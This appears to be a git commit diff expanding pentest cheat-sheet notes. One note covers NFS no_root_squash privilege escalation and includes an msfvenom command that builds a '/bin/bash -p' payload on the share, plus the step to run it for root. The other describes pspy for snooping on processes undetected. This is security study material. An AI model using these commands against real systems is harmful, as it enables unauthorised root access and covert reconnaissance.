added information
This commit is contained in:
parent
2c7e23d8ed
commit
742e33b85b
|
@ -1,13 +1,28 @@
|
|||
# NFS NO ROOT SQUASH
|
||||
|
||||
* Mount nfs locally and gain root
|
||||
Mount NFS locally and gain root through activated `no_root_squash`.
|
||||
|
||||
When "no_root_squash" is enabled on an NFS share, it means that the "root" user
|
||||
from the client system retains its full privileges when interacting with files
|
||||
on the NFS share. In other words, any actions performed by the "root" user on
|
||||
the client system are replicated with full permissions on the NFS server. This
|
||||
can potentially lead to a security vulnerability, especially if the client
|
||||
system is compromised or maliciously manipulated.
|
||||
|
||||
## Exploit
|
||||
|
||||
### Craft a Shell
|
||||
|
||||
Craft a shell and execute it on the NFS share which has `no_root_squash`
|
||||
enabled to gain root privilege.
|
||||
|
||||
## Craft a Shell
|
||||
```sh
|
||||
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
|
||||
```
|
||||
* Copy to target and use it
|
||||
|
||||
After the shell has been created on or copied to the share, execute it on the
|
||||
target share
|
||||
|
||||
```sh
|
||||
./shell.elf -p
|
||||
```
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
# pspy
|
||||
|
||||
* Snoop processes withou root permissions
|
||||
* [Repo](https://github.com/DominicBreuker/pspy.git)
|
||||
|
||||
[pspy](https://github.com/DominicBreuker/pspy.git) is a linux command-line utility that allows you to observe processes without
|
||||
being detected. It is used for monitoring and analyzing system activities. pspy
|
||||
allows you to track running processes, their arguments, and related
|
||||
information, which can be useful for debugging, security auditing, and system
|
||||
analysis.
|
||||
|
|
Loading…
Reference in New Issue